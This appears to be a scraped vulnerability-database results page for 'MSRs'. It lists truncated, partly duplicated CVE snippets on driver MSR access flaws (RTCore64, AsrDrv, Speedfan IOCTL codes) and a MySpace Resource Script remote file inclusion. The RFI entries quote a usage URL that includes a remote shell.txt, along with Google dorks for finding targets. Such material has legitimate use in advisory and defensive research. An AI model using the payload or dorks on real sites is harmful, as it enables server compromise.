CVE-2019-16098

The driver in Micro-Star MSI Afterburner 4.6.2.15658 aka RTCore64.sys and RTCore32.sys allows any authenticated user to read and write to arbitrary memory, I/O ports, and MSRs. This can be exploited for privilege escalation, code execution under high privileges, and information disclosure. These...

CVE-2018-18535

The Asusgio low-level driver in ASUS Aura Sync v1.07.22 and earlier exposes functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-0 code...

Code injection

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

CVE-2018-10711

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

CVE-2018-10711

The AsrDrv101.sys and AsrDrv102.sys low-level drivers in ASRock RGBLED before v1.0.35.1, A-Tuning before v3.0.210, F-Stream before v3.0.210, and RestartToUEFI before v1.0.6.2 expose functionality to read and write Machine Specific Registers MSRs. This could be leveraged to execute arbitrary ring-...

Google Android - Unprotected MSRs in EL1 RKP Privilege Escalation Exploit

Exploit for Android platform in category dos / poc Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=980 As part of Samsung KNOX, Samsung phones include a security hypervisor called RKP Real-time Kernel Protection, running in EL2. This hypervisor is meant to ensure that the HLOS...

CVE-2007-5721

The CVE-2007-5721 entry affects MySpacePros MySpace Resource Script (MSRS) 1.21, where a flaw in _theme/breadcrumb.php allows PHP remote file inclusion via the rootBase parameter. The underlying issue enables arbitrary PHP code execution by an attacker-controlled URL, leading to partial confident...

msrs-rfi.txt

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator "!new Female Celebrities" inurl:/Generators/ScrollbarColo...

MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

Exploit for unknown platform in category web applications ===================================================== MySpace Resource Script MSRS 1.21 RFI Vulnerability ===================================================== MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC...

MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion

MySpace Resource Script MSRS 1.21 - Remote File Inclusion MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator...

MySpace Resource Script (MSRS) 1.21 - Remote File Inclusion

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator "!new Female Celebrities" inurl:/Generators/ScrollbarColo...

CVE-2007-5633

Speedfan.sys in Alfredo Milani Comparetti SpeedFan 4.33, when used on Microsoft Windows Vista x64, allows local users to read or write arbitrary MSRs, and gain privileges and load unsigned drivers, via the 1 IOCTLRDMSR 0x9C402438 and 2 IOCTLWRMSR 0x9C40243C IOCTLs to \Device\speedfan, as...

Code injection

Speedfan.sys in Alfredo Milani Comparetti SpeedFan 4.33, when used on Microsoft Windows Vista x64, allows local users to read or write arbitrary MSRs, and gain privileges and load unsigned drivers, via the 1 IOCTLRDMSR 0x9C402438 and 2 IOCTLWRMSR 0x9C40243C IOCTLs to \Device\speedfan, as...

CVE-2007-5633

CVE-2007-5633 is a local-elevation vulnerability in SpeedFan (speedfan.sys) used on Windows Vista x64. The issue allows a local attacker to read/write MSRs and load unsigned drivers via IOCTL_RDMSR 0x9C402438 and IOCTL_WRMSR 0x9C40243C to \Device\speedfan (MSR_LSTAR shown in examples). The provid...